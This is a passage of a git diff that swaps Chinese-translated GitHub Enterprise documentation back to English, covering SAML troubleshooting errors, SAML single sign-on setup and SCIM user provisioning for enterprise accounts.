+152,23 @@ topics: ``` -## SAML 身份验证 +## Troubleshooting SAML authentication -{% data variables.product.prodname_ghe_server %} 在 _/var/log/github/auth.log_ 的身份验证日志中为失败的 SAML 身份验证记录错误消息。 关于 SAML 响应要求的更多信息，请参阅“[响应消息要求](#response-message-requirements)”。 +{% data variables.product.prodname_ghe_server %} logs error messages for failed SAML authentication in the authentication log at _/var/log/github/auth.log_. For more information about SAML response requirements, see "[Response message requirements](#response-message-requirements)." -### Error: "Another user already owns the account"（错误：“其他用户已拥有该帐户”） +### Error: "Another user already owns the account" -您的 {% data variables.product.prodname_ghe_server %} 实例的服务提供程序元数据位于 `http(s)://[hostname]/saml/metadata` 下。 +When a user signs in to {% data variables.product.prodname_ghe_server %} for the first time with SAML authentication, {% data variables.product.prodname_ghe_server %} creates a user account on the instance and maps the SAML `NameID` to the account. -当用户再次登录时，{% data variables.product.prodname_ghe_server %} 会比较帐户的 `NameID` 映射与 IdP 的响应。 如果 IdP 响应中的 `NameID` 不再与 {% data variables.product.prodname_ghe_server %} 对用户预期的 `NameID` 匹配， 登录将失败。 用户将看到以下消息。 +When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` mapping to the IdP's response. If the `NameID` in the IdP's response no longer matches the `NameID` that {% data variables.product.prodname_ghe_server %} expects for the user, the sign-in will fail. The user will see the following message. -> 另一个用户已经拥有该帐户。 请让您的管理员检查身份验证日志。 +> Another user already owns the account. Please have your administrator check the authentication log. -该消息通常表示此人的用户名或电子邮件地址已在 IdP 上更改。 {% ifversion ghes %}确保在 {% data variables.product.prodname_ghe_server %} 上的用户帐户的 `NameID` 映射与 IdP 上的 `NameID` 匹配。 更多信息请参阅“[更新用户的 SAML `NameID`](#updating-a-users-saml-nameid)”。{% else %}如需更新 `NameID` 映射的帮助，请联系 {% data variables.contact.contact_ent_support %}。{% endif %} +The message typically indicates that the person's username or email address has changed on the IdP. {% ifversion ghes %}Ensure that the `NameID` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` on your IdP. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %}For help updating the `NameID` mapping, contact {% data variables.contact.contact_ent_support %}.{% endif %} -### Error: Recipient in SAML response was blank or not valid（错误：SAML 响应中的收件人为空或无效） +### Error: Recipient in SAML response was blank or not valid -如果 `Recipient` 与 {% data variables.product.prodname_ghe_server %} 实例的 ACS URL 不匹配，则当用户尝试验证时，身份验证日志中将显示以下两条错误消息之一： +If the `Recipient` does not match the ACS URL for your {% data variables.product.prodname_ghe_server %} instance, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. ``` Recipient in the SAML response must not be blank. @@ -166,24 +178,24 @@ Recipient in the SAML response must not be blank. Recipient in the SAML response was not valid. ``` -`Recipient` 属性必须存在并设为 ACS URL。 例如，`https://ghe.corp.example.com/saml/consume`。 +Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com/saml/consume`. -### Error: "SAML Response is not signed or has been modified"（错误：“SAML 响应未签名或已修改”） +### Error: "SAML Response is not signed or has been modified" -如果您的 IdP 未对 SAML 响应进行签名，或者签名与内容不匹配，则身份验证日志中将显示以下错误消息。 +If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. ``` SAML Response is not signed or has been modified. ``` -确保为 IdP 上的 {% data variables.product.prodname_ghe_server %} 应用程序配置签名的断言。 +Ensure that you configure signed assertions for the {% data variables.product.prodname_ghe_server %} application on your IdP. -### Error: "Audience is invalid" or "No assertion found"（错误：“受众无效”或“未找到断言”） +### Error: "Audience is invalid" or "No assertion found" -如果 IdP 的响应缺少 `Audience` 的值或者该值不正确，则身份验证日志中将显示以下错误消息。 +If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. ```shell -Audience is invalid. Audience is invalid. Audience attribute does not match your_instance_url +Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL ``` -确保对您的 {% data variables.product.prodname_ghe_server %} 实例将 IdP 上的 `Audience` 值设为 `EntityId`，这是 {% data variables.product.prodname_ghe_server %} 实例的完整 URL。 例如，`https://ghe.corp.example.com`。 +Ensure that you set the value for `Audience` on your IdP to the `EntityId` for your {% data variables.product.prodname_ghe_server %} instance, which is the full URL to your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com`. diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md index 435633b8e2..7cbda32991 100644 --- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: 为企业配置 SAML 单点登录 -shortTitle: 配置 SAML SSO -intro: '您可以通过{% ifversion ghec %}执行{% elsif ghae %}配置{% endif %}通过身份提供商 (IdP) 的 SAML 单点登录 (SSO)，控制和保护对 {% ifversion ghec %} 资源（如企业组织中的仓库、议题和拉取请求）{% elsif ghae %}您在 {% data variables.product.prodname_ghe_managed %} 上的企业{% endif %}的访问。' +title: Configuring SAML single sign-on for your enterprise +shortTitle: Configure SAML SSO +intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).' product: '{% data reusables.gated-features.saml-sso %}' permissions: 'Enterprise owners can configure SAML SSO for an enterprise on {% data variables.product.product_name %}.' versions: @@ -23,31 +23,31 @@ redirect_from: {% data reusables.enterprise-accounts.emu-saml-note %} -## 关于企业帐户的 SAML SSO +## About SAML SSO for enterprise accounts {% ifversion ghec %} -{% data reusables.saml.dotcom-saml-explanation %}更多信息请参阅“[关于使用 SAML 单点登录管理身份和访问](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)”。 +{% data reusables.saml.dotcom-saml-explanation %} For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)." {% data reusables.saml.about-saml-enterprise-accounts %} -{% data reusables.saml.about-saml-access-enterprise-account %} 更多信息请参阅“[查看和管理用户对企业帐户的 SAML 访问](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)”。 +{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)." {% data reusables.scim.enterprise-account-scim %} {% elsif ghae %} -SAML SSO 允许您从 SAML IDP 集中控制和安全访问 {% data variables.product.product_location %}。 当未经身份验证的用户在浏览器中访问 {% data variables.product.product_location %} 时，{% data variables.product.product_name %} 会将用户重定向到您的 SAML IDP 进行身份验证。 在用户使用 IdP 上的帐户成功进行身份验证后，IdP 会将用户重定向回 {% data variables.product.product_location %}。 {% data variables.product.product_name %} 将验证 IdP 的响应，然后授予用户访问权限。 +SAML SSO allows you to centrally control and secure access to {% data variables.product.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user. -当用户在 IdP 上成功进行身份验证后，用户对 {% data variables.product.product_location %} 的 SAML 会话将在浏览器中激活 24 小时。 24 小时后，用户必须再次使用您的 IdP 进行身份验证。 +After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.product.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP. {% data reusables.saml.assert-the-administrator-attribute %} -{% data reusables.scim.after-you-configure-saml %} 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。 +{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." {% endif %} -## 支持的身份提供程序 +## Supported identity providers {% data reusables.saml.saml-supported-idps %} @@ -57,97 +57,109 @@ SAML SSO 允许您从 SAML IDP 集中控制和安全访问 {% data variables.pro {% note %} -**注意：** +**Notes:** -- 为您的企业实施 SAML SSO 时，企业配置将覆盖任何现有的组织级 SAML 配置。 {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)." +- When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)." - When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP. {% endnote %} -有关如何使用 Okta 启用 SAML 的更多详细信息，请参阅“[使用 Okta 为企业帐户配置 SAML 单点登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)”。 +For more detailed information about how to enable SAML using Okta, see "[Configuring SAML single sign-on for your enterprise account using Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)." {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} 4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. Under "SAML single sign-on", select **Require SAML authentication**. ![用于启用 SAML SSO 的复选框](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png) -6. 在 **Sign on URL（登录 URL）**字段中，为单点登录请求输入您的 IdP 的 HTTPS 端点。 此值可在 IdP 配置中找到。 ![登录时将成员转发到的 URL 字段](/assets/images/help/saml/saml_sign_on_url_business.png) -7. （可选）在 **Issuer（签发者）**字段中，输入 SAML 签发者 URL 以验证已发送消息的真实性。 ![SAML 签发者姓名字段](/assets/images/help/saml/saml_issuer.png) -8. 在 **Public Certificate（公共证书）**下，粘贴证书以验证 SAML 响应。 ![身份提供程序的公共证书字段](/assets/images/help/saml/saml_public_certificate.png) -9. 要验证来自 SAML 签发者的请求的完整性，请单击 {% octicon "pencil" aria-label="The edit icon" %}。 然后，在“Signature Method（签名方法）”和“Digest Method（摘要方法）”下拉菜单中，选择 SAML 签发者使用的哈希算法。 ![SAML 签发者使用的签名方法和摘要方法哈希算法下拉列表](/assets/images/help/saml/saml_hashing_method.png) -10. 在为企业启用 SAML SSO 之前，单击 **Test SAML configuration（测试 SMAL 配置）** ，以确保已输入的信息正确。 ![实施前测试 SAML 配置的按钮](/assets/images/help/saml/saml_test.png) -11. 单击 **Save（保存）**。 +5. Under "SAML single sign-on", select **Require SAML authentication**. + ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png) +6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration. +![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png) +7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages. +![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png) +8. Under **Public Certificate**, paste a certificate to verify SAML responses. +![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png) +9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer. +![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png) +10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png) +11. Click **Save**. {% elsif ghae %} -## 启用 SAML SSO +## Enabling SAML SSO {% ifversion ghae %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} -以下 IdP 提供有关为 {% data variables.product.product_name %} 配置 SAML SSO 的文档。 如果您的 IdP 未列出，请与您的 IdP 联系，以请求 {% data variables.product.product_name %}。 +The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. - | IdP | 更多信息 | - |:-------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | Azure AD | [教程： Microsoft 文档中的“与 {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) 的 Azure Active Directory 单点登录 (SSO) 集成” | + | IdP | More information | + | :- | :- | + | Azure AD | [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs | -在 {% data variables.product.product_name %} 的初始化期间，您必须在 IdP 上将 {% data variables.product.product_name %} 配置为 SAML 服务提供程序 (SP)。 您必须在 IdP 上输入多个唯一值以将 {% data variables.product.product_name %} 配置为有效的 SP。 +During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML Service Provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP. -| 值 | 其他名称 | 描述 | 示例 | -|:-------------------- |:------ |:---------------------------------------------------------- |:------------------------- | -| SP 实体 ID | SP URL | {% data variables.product.prodname_ghe_managed %} 顶级 URL | https://YOUR-GITHUB-AE-HOSTNAME | -| SP 断言使用者服务 (ACS) URL | 回复 URL | IdP 发送 SAML 响应的 URL | https://YOUR-GITHUB-AE-HOSTNAME/saml/consume | -| SP 单点登录 (SSO) URL | | IdP 开始 SSO 的 URL | https://YOUR-GITHUB-AE-HOSTNAME/sso | +| Value | Other names | Description | Example | +| :- | :- | :- | :- | +| SP Entity ID | SP URL | Your top-level URL for {% data variables.product.prodname_ghe_managed %} | https://YOUR-GITHUB-AE-HOSTNAME +| SP Assertion Consumer Service (ACS) URL | Reply URL | URL where IdP sends SAML responses | https://YOUR-GITHUB-AE-HOSTNAME/saml/consume | +| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | https://YOUR-GITHUB-AE-HOSTNAME/sso | {% endif %} -## 编辑 SAML SSO 配置 +## Editing the SAML SSO configuration -如果 IdP 的详细信息发生更改，则需要编辑 {% data variables.product.product_location %} 的 SAML SSO 配置。 例如，如果 IdP 的证书过期，您可以编辑公共证书的值。 +If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.product.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate. {% ifversion ghae %} {% note %} -**注**：{% data reusables.saml.contact-support-if-your-idp-is-unavailable %} +**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %} -{% endnote %} +{% endnote %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -1. 在“SAML single sign-on（SAML 单点登录）”下，键入 IdP 的新详细信息。 ![包含企业 SAML SSO 配置 IdP 详细信息的文本输入字段](/assets/images/help/saml/ae-edit-idp-details.png) -1. （可选）单击 {% octicon "pencil" aria-label="The edit icon" %} 以配置新的签名或摘要方法。 ![用于更改签名和摘要方法的编辑图标](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png) +1. Under "SAML single sign-on", type the new details for your IdP. + ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png) +1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method. + ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png) - - 使用下拉菜单并选择新的签名或摘要方法。 ![用于选择新签名或摘要方法的下拉菜单](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png) -1. 为确保输入的信息正确，请单击 **Test SAML configuration（测试 SAML 配置）**。 !["Test SAML configuration（测试 SAML 配置）"按钮](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png) -1. 单击 **Save（保存）**。 ![用于 SAML SSO 配置的"Save（保存）"按钮](/assets/images/help/saml/ae-edit-idp-details-save.png) -1. （可选）要自动预配和取消预配 {% data variables.product.product_location %} 的用户帐户，请使用 SCIM 重新配置用户预配。 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。 + - Use the drop-down menus and choose the new signature or digest method. + ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png) +1. To ensure that the information you've entered is correct, click **Test SAML configuration**. + !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png) +1. Click **Save**. + !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png) +1. Optionally, to automatically provision and deprovision user accounts for {% data variables.product.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." {% endif %} -## 禁用 SAML SSO +## Disabling SAML SSO {% ifversion ghae %} {% warning %} -**警告**：如果您对 {% data variables.product.product_location %} 禁用 SAML SSO，则没有现有 SAML SSO 会话的用户无法登录 {% data variables.product.product_location %}。 {% data variables.product.product_location %} 上的 SAML SSO 会话在 24 小时后结束。 +**Warning**: If you disable SAML SSO for {% data variables.product.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.product.product_location %}. SAML SSO sessions on {% data variables.product.product_location %} end after 24 hours. {% endwarning %} {% note %} -**注**：{% data reusables.saml.contact-support-if-your-idp-is-unavailable %} +**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %} {% endnote %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -1. 在“SAML single sign-on”（SAML 单点登录）下，取消选择 **Enable SAML authentication（启用 SAML 身份验证）**。 !["Enable SAML authentication（启用 SAML 身份验证）"的复选框](/assets/images/help/saml/ae-saml-disabled.png) -1. 要禁用 SAML SSO 并要求使用在初始化期间创建的内置用户帐户登录，请单击“**Save（保存）**”。 ![用于 SAML SSO 配置的"Save（保存）"按钮](/assets/images/help/saml/ae-saml-disabled-save.png) +1. Under "SAML single sign-on", unselect **Enable SAML authentication**. + ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png) +1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**. + !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png) {% endif %} diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md index 2b92ec52fc..08dbf11ad7 100644 --- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: 为企业配置用户预配 -shortTitle: 配置用户预配 -intro: '您可以为企业配置跨域身份管理 (SCIM)，以在将 {% data variables.product.product_location %} 的应用程序分配给身份提供商 (IdP) 上的用户时，就自动在 {% data variables.product.product_location %} 上预配用户帐户。' +title: Configuring user provisioning for your enterprise +shortTitle: Configuring user provisioning +intro: 'You can configure System for Cross-domain Identity Management (SCIM) for your enterprise, which automatically provisions user accounts on {% data variables.product.product_location %} when you assign the application for {% data variables.product.product_location %} to a user on your identity provider (IdP).' permissions: 'Enterprise owners can configure user provisioning for an enterprise on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.saml-sso %}' versions: @@ -16,74 +16,75 @@ topics: redirect_from: - /admin/authentication/configuring-user-provisioning-for-your-enterprise --- +## About user provisioning for your enterprise -## 关于企业的用户预配 +{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." -{% data reusables.saml.ae-uses-saml-sso %} 更多信息请参阅“[配置企业的 SAML 单点登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)”。 - -{% data reusables.scim.after-you-configure-saml %} 有关 SCIM 的更多信息，请参阅 IETF 网站上的[跨域身份管理系统：协议 (RFC 7644)](https://tools.ietf.org/html/rfc7644)。 +{% data reusables.scim.after-you-configure-saml %} For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website. {% ifversion ghae %} -配置预配允许 IdP 在您将 {% data variables.product.product_name %} 的应用程序分配或取消分配给 IdP 上的用户时与 {% data variables.product.product_location %} 通信。 当您分配应用程序时，IdP 将提示 {% data variables.product.product_location %} 创建帐户并向用户发送一封登录电子邮件。 取消分配应用程序时，IdP 将与 {% data variables.product.product_name %} 通信以取消任何 SAML 会话并禁用成员的帐户。 +Configuring provisioning allows your IdP to communicate with {% data variables.product.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.product.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account. -要为企业配置预配，必须在 {% data variables.product.product_name %} 上启用预配，然后在 IdP 上安装和配置预配应用程序。 +To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP. -IdP 上的预配应用程序通过企业的 SCIM API 与 {% data variables.product.product_name %} 通信。 更多信息请参阅 {% data variables.product.prodname_dotcom %} REST API 文档中的“[GitHub Enterprise 管理](/rest/reference/enterprise-admin#scim)”。 +The provisioning application on your IdP communicates with {% data variables.product.product_name %} via our SCIM API for enterprises. For more information, see "[GitHub Enterprise administration](/rest/reference/enterprise-admin#scim)" in the {% data variables.product.prodname_dotcom %} REST API documentation. {% endif %} -## 支持的身份提供程序 +## Supported identity providers {% data reusables.scim.supported-idps %} -在使用支持的 IdP 设置用户预配时，您也可以将 {% data variables.product.product_name %} 的应用程序分配或取消分配给用户组。 然后，这些组可供 {% data variables.product.product_location %} 中的组织所有者和团队维护员用来映射到 {% data variables.product.product_name %} 团队。 更多信息请参阅“[同步团队与身份提供程序组](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)”。 +When you set up user provisioning with a supported IdP, you can also assign or unassign the application for {% data variables.product.product_name %} to groups of users. These groups are then available to organization owners and team maintainers in {% data variables.product.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)." -## 基本要求 +## Prerequisites {% ifversion ghae %} -要自动预配和解除预配从 IdP 访问 {% data variables.product.product_location %}，必须先在初始化 {% data variables.product.product_name %} 时配置 SAML SSO。 更多信息请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)。” +To automatically provision and deprovision access to {% data variables.product.product_location %} from your IdP, you must first configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." -您必须对 IdP 具有管理访问权限，才能配置应用程序进行 {% data variables.product.product_name %} 的用户预配。 +You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}. {% endif %} -## 为企业启用用户预配 +## Enabling user provisioning for your enterprise {% ifversion ghae %} -1. 登录到 {% data variables.product.product_location %} 时，创建作用域为 **admin:enterprise** 的个人访问令牌。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 +1. While signed into {% data variables.product.product_location %} as an enterprise owner, create a personal access token with **admin:enterprise** scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." {% note %} - **注意**： - - 要创建个人访问令牌，我们建议使用初始化期间创建的第一个企业所有者的帐户。 更多信息请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)。” - - 您需要此个人访问令牌在 IdP 上为 SCIM 配置应用程序。 将令牌安全地存储在密码管理器中，直到您稍后在这些说明中再次需要该令牌。 + **Notes**: + - To create the personal access token, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." + - You'll need this personal access token to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. {% endnote %} {% warning %} - **警告**：如果创建个人访问令牌的企业所有者的用户帐户已停用或取消预配，则您的 IdP 将不再自动预配和取消预配企业用户帐户。 另一个企业所有者必须创建新的个人访问令牌，并在 IdP 上重新配置预配。 + **Warning**: If the user account for the enterprise owner who creates the personal access token is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new personal access token and reconfigure provisioning on the IdP. {% endwarning %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -1. 在“SAML User Provisioning（SAML 用户预配）”下，选择 **Require SCIM user provisioning（需要 SAML 用户预配）**。 ![企业安全性设置内的"Require SCIM user provisioning（需要 SCIM 用户预配）"复选框](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) -1. 单击 **Save（保存）**。 ![企业安全性设置中"Require SCIM user provisioning（需要 SCIM 用户预配）"下的 Save（保存）按钮](/assets/images/help/enterprises/settings-scim-save.png) -1. 在 IdP 上 {% data variables.product.product_name %} 的应用程序中配置用户预配。 +1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**. + ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. Click **Save**. + ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png) +1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP. - 以下 IdP 提供有关为 {% data variables.product.product_name %} 配置预配的文档。 如果您的 IdP 未列出，请与您的 IdP 联系，以请求 {% data variables.product.product_name %}。 + The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. - | IdP | 更多信息 | - |:-------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | Azure AD | [教程：Microsoft 文档中的“配置 {% data variables.product.prodname_ghe_managed %} 进行自动用户预配](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial)” | + | IdP | More information | + | :- | :- | + | Azure AD | [Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs | - IdP 上的应用程序需要两个值来预配或取消预配 {% data variables.product.product_location %} 上的用户帐户。 + The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.product.product_location %}. - | 值 | 其他名称 | 描述 | 示例 | - |:---- |:----------- |:-------------------------------------------------------------------------- |:------------------------------------------------------------------ | - | URL | 租户 URL | {% data variables.product.prodname_ghe_managed %} 上企业的 SCIM 预配 API 的 URL | `{% data variables.product.api_url_pre %}/scim/v2` | - | 共享机密 | 个人访问令牌、机密令牌 | IdP 上的应用程序用于代表企业所有者执行预配任务的令牌 | 您在步骤 1 中创建的个人访问令牌 | + | Value | Other names | Description | Example | + | :- | :- | :- | :- | + | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.prodname_ghe_managed %} | {% data variables.product.api_url_pre %}/scim/v2 | + | Shared secret | Personal access token, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | Personal access token you created in step 1 | {% endif %} diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md index c31ed94c1e..6c6a11fc77 100644 --- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md +++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md @@ -1,7 +1,7 @@ --- -title: 管理企业的身份和访问权限 -shortTitle: 管理身份和访问权限 -intro: '您可以通过 SAML 单点登录 (SSO) 和跨域身份管理系统 (SCIM) 集中管理{% ifversion ghae %}帐户和{% endif %}对 {% data variables.product.product_name %} 上{% ifversion ghae %}企业{% elsif ghec %}企业帐户{% endif %}的访问。' +title: Managing identity and access for your enterprise +shortTitle: Managing identity and access +intro: 'You can centrally manage {% ifversion ghae 